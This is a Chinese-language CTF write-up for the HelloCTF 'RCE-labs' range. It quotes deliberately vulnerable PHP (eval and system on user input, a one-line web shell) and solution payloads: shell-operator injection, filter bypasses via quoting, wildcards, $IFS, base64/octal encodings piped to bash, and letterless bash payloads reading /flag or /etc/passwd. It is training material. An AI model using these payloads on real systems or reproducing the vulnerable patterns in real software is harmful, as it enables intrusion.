Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
4304 字
22 分钟
rce-labs wp
2025-12-08

rce-labs wp#

level 1#

<?php
include ("get_flag.php");
eval($_POST['a']);
highlight_file(__FILE__);
?>

简单的一句话木马:

a=system('cat /flag');

level 2#

<?php
include ("get_flag.php");
global $flag;
session_start();
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
function get_fun(){
$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>

首先通过发送 GET:/?action= 去随机的获取一个函数,然后通过往 /?action=submit 路由 POST:content=<函数参数> 的方法完成题目。

通过源码可以看到最后我们的提交会组合为一个函数去调用: eval(funciton(content))

对应函数输出flag的方式可以参考下面的表格:

PHP 代码执行相关函数#

函数说明示例代码
${}用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。eval('${flag}');
eval()用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。eval('echo $flag;');
assert()测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。
PHP 8.0.0 后移除该功能。
assert(print_r($flag));
call_user_func()用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。call_user_func('print_r', $flag);
create_function()创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。
自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除
create_function('$a', 'echo $flag;')($a);
array_map()将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。array_map(print_r($flag), $a);
call_user_func_array()调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。call_user_func_array(print_r($flag), array());
usort()对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。usort($a,print_r($flag));
array_filter()过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。array_filter($a,print_r($flag));
array_reduce()迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。array_reduce($a,print_r($flag));
preg_replace()执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。
依赖 /e 模式,该模式自 PHP7.3 起被取消。
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)});
ob_start()ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。ob_start(print_r($flag));

其中print_f方法可以用以下替换

var_dump($flag);
var_export($flag, true); // 返回字符串
var_export($flag); // 直接输出
debug_zval_dump($flag);
printf($flag); // 直接输出

level 3#

<?php
system($_POST['a']);
highlight_file(__FILE__);
?>

通过POST传system函数的命令

system() 函数会通过sh软连接执行你输入的系统命令。

a=cat /flag

level 4#

利用shell逻辑运算符,调用system函数

<?php
try GET:
?ip=8.8.8.8
flag is /flag
*/
function hello_server($ip){
system("ping -c 1 $ip");
}
isset($_GET['ip']) ? hello_server($_GET['ip']) : null;
highlight_file(__FILE__);
?>
运算符说明示例代码
&&(逻辑与运算符)AND操作 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2mkdir new_folder && cd new_folder (只有在新建文件夹成功后才进入该文件夹)
``(逻辑或运算符)
&(后台运行符)将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。sleep 10 & echo "This will run immediately."
;(命令分隔符)无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。这允许将命令堆叠在一起。命令会依次执行。echo "Hello"; echo "World" (先输出 “Hello”,再输出 “World”)

payload:

?ip=1.1.1.1&&cat /flag
?ip=||cat /flag
?ip=;cat /flag
?ip=&cat /flag

扩展:其他Shell符号:

操作符结果示例
command1 > command2 command1 < command2 command1 >> command2这些操作符是重定向操作符。它们用于重定向输入或输出。echo "Hello" > output.txt (将 “Hello” 写入到 output.txt 文件) cat < input.txt (读取 input.txt 的内容并在终端显示) echo "Hello" >> output.txt (将 “Hello” 追加到 output.txt 文件中)
command2反引号将一个单独的命令封装在原始命令处理的数据中。echo “Today is \`date\`“((将日期命令的输出嵌入到 “Today is” 之后)
`command1command2`管道可用于将多个命令链接起来。一个命令的输出会被重定向到下一个命令中。
$(command2)$ 符号执行括号内的命令。echo "Today is $(date)" (将日期命令的输出嵌入到 “Today is” 之后)
- command短横线用于向目标命令添加其他操作。ls -l -h (列出文件时显示文件大小的可读格式)

level 5#

<?php
function hello_shell($cmd){
if(preg_match("/flag/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>

空字符:#

在Shell中,单/双引号 ”/’ 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。 例如:echo "$"a 会输出 $a,而 echo $a 会输出变量 a 的值,当只有 "" 则表示空字符串,Shell会忽略它。

?cmd=cat /f''lag
?cmd=cat /f'l'ag

通配符:#

通配符功能说明示例用途
*匹配零个或多个字符*.txt匹配所有以 .txt 结尾的文件
?匹配单个字符file?.txt匹配 file1.txt, file2.txt 等单个字符的文件名
[]匹配方括号内的任意一个字符file[1-3].txt匹配 file1.txt, file2.txt, file3.txt
[^]匹配不在方括号内的字符file[^a-c].txt匹配不包含 ac 之间字符的文件
{}匹配大括号内的任意一个字符串,使用逗号分隔file{1,2,3}.txt匹配 file1.txt, file2.txt, file3.txt
~表示当前用户的主目录~/Documents访问主目录下的 Documents 文件夹
!表示取反,在一些条件测试或模式匹配中使用ls !(*.txt)列出所有不是 .txt 结尾的文件
\转义字符,取消通配符的特殊意义,使其作为普通字符处理file\*.txt匹配文件名为 file*.txt 的文件
?cmd=cat /f*

赋值与拼接:#

<@URLe>a=c;b=at;c=fla;d=g;$a$b /$c$d<@URLe>
?cmd=a%3Dc%3Bb%3Dat%3Bc%3Dfla%3Bd%3Dg%3B%24a%24b%20%2F%24c%24d

反斜杠:#

?cmd=ca\t /fla\g

特殊变量:#

变量含义示例输出
${#}传递给脚本或函数的参数个数0(参数为空时)
${?}上一个命令的退出状态0(正常退出)或 1(异常退出)
${_}上一个命令的最后一个参数上一个命令的最后一个参数值
${0}当前脚本或 shell 的名字bash 或脚本名
${1} 到 ${9}传递给脚本或函数的第 1 到第 9 个参数第 1 到第 9 个参数值
${@}传递给脚本或函数的所有参数(以列表形式)所有参数值
${*}传递给脚本或函数的所有参数(以字符串形式)所有参数作为单个字符串
${$}当前 shell 的进程 ID (PID)进程 ID 值
${!}上一个后台运行的进程的进程 ID (PID)后台进程的 PID
${-}当前 shell 的选项标志hB(表示 shell 选项标志)
?cmd=ca$1t /fl$@ag
?cmd=ca$1t /fl$1ag //如果不存在这个参数的话,则传的是空值,就会被跳过
?cmd=ca$1t /fl$2ag

编码 / 进制:#

cat "$(echo 'L2ZsYWc=' | base64 -d)"
`echo "Y2F0IC9mbGFn"|base64 -d`
echo "Y2F0IC9mbGFn"|base64 -d|bash
echo -n 636174202f666c6167 | xxd -r -p | bash # 十六进制
$(printf "\143\141\164\040\057\146\154\141\147\012") # 八进制(or bashfuck)

level 6#

<?php
function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>

看正则表达式,给我们留了一个a还有所有数字,可以尝试用?模糊匹配

/???/?a??64 /??a? # 使用 /bin/base64 /flag
/bin/?a? /??a? # 使用 /bin/cat /flag

level 7(过滤空格#

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 ---
在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
*/
function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>

空格被过滤可以用一下方法代替空格绕过

使用 $IFS

$IFS 是 Linux 的内部字段分隔符,可以替代空格。

eg$IFS-l 使用 %09 (Tab 键)

在支持 URL 编码的环境中,可以使用 %09 替代空格。

eg%09-l

使用大括号 {} 拼接

通过大括号将命令分割为多个部分,再拼接执行。

eg:{ls,-l} 使用重定向符 < 或 <>

利用重定向符号替代空格。

eg: ls<-l

payload:

?cmd=cat%09fl*

扩展:过滤 /

${HOME:0:1}来替代"/":
cat /flag ---->>> cat ${HOME:0:1}flag
$(echo . | tr '!-0' '"-1') 来替代"/":
cat $(echo . | tr '!-0' '"-1')flag

level 8#

<?php
function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>

我真甜美服了,以为思路错了,结果是因为没有URL编码

;隔开就好了

payload:

?cmd=cat%20%2Fflag%3B

level 9#

无字母命令执行_八进制转义

<?php
/*
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
从该关卡开始你会发现我们在Dockerfile中添加了一行改动:
RUN ln -sf /bin/bash /bin/sh
这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox
我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。
在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。
bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found
bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>

直接使用给的小工具

BashFuck Payload Generator

image-20251208200542713

最终payload:

?cmd=$'\143\141\164'%20$'\57\146\154\141\147'

level 10#

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>

一样是用神秘小工具,但是和上一关不同的是这关的指令不需要将cat/flag分开,需要一起转译

payload:

?cmd=%240%3C%3C%3C%240%5C%3C%5C%3C%5C%3C%5C%24%5C'%5C%5C%24((%24((1%3C%3C1))%2310001111))%5C%5C%24((%24((1%3C%3C1))%2310001101))%5C%5C%24((%24((1%3C%3C1))%2310100100))%5C%5C%24((%24((1%3C%3C1))%23101000))%5C%5C%24((%24((1%3C%3C1))%23111001))%5C%5C%24((%24((1%3C%3C1))%2310010010))%5C%5C%24((%24((1%3C%3C1))%2310011010))%5C%5C%24((%24((1%3C%3C1))%2310001101))%5C%5C%24((%24((1%3C%3C1))%2310010011))%5C'

image-20251208201726449

level 11#

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;
highlight_file(__FILE__);
?>

和上面一样,用神秘小工具秒了

cmd=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

level 12#

暂时打不开环境,过段时间试试

过了一天还是打不开,估计也是用小工具的,不写也罢

level 13#

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_特殊扩展替换任意数字 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为 $(()) + 取反 构造任意数字
echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>

还是用奇妙小工具,不说了

level 14(七字符RCE)#

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_7字符RCE ---
*/
if(isset($_GET[1]) && strlen($_GET[1]) < 8){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
highlight_file(__FILE__);
?>

简单

payload:

?1=cat /f*

level 15(5字符绕过)#

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_7字符RCE ---
*/
if(isset($_GET[1]) && strlen($_GET[1]) < 8){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
highlight_file(__FILE__);
?>

在CTFplus上写的,貌似不出网,写不了

所以直接贴wprce-labs level15详细解析

level 16#

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_4字符RCE ---
*/
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

和上一关一个待遇

level 17#

<?php
session_start();
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 ---
喵喵喵ww https://www.php.net/manual/zh/ref.exec.php
system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`
在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。
*/
function hello_ctf($function, $content){
if($function == '``'){
$code = '`'.$content.'`';
echo "Your Code: $code <br>";
eval("echo $code");
}else
{
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
}
function get_fun(){
$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>

和level 2类似,关键词:替换

函数说明示例代码
system()system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。system('cat /etc/passwd');
exec()exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。exec('cat /etc/passwd', $result); print_r($result);
shell_exec()shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。echo shell_exec('cat /etc/passwd');
passthru()passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。passthru('cat /etc/passwd');
popen()popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 “反引号用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。注意:关闭了 shell_exec() 时反引号运算符是无效的echo `cat /etc/passwd`
rce-labs wp
https://btop251.vercel.app/posts/ctf/rce-labs/
作者
btop251
发布于
2025-12-08
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时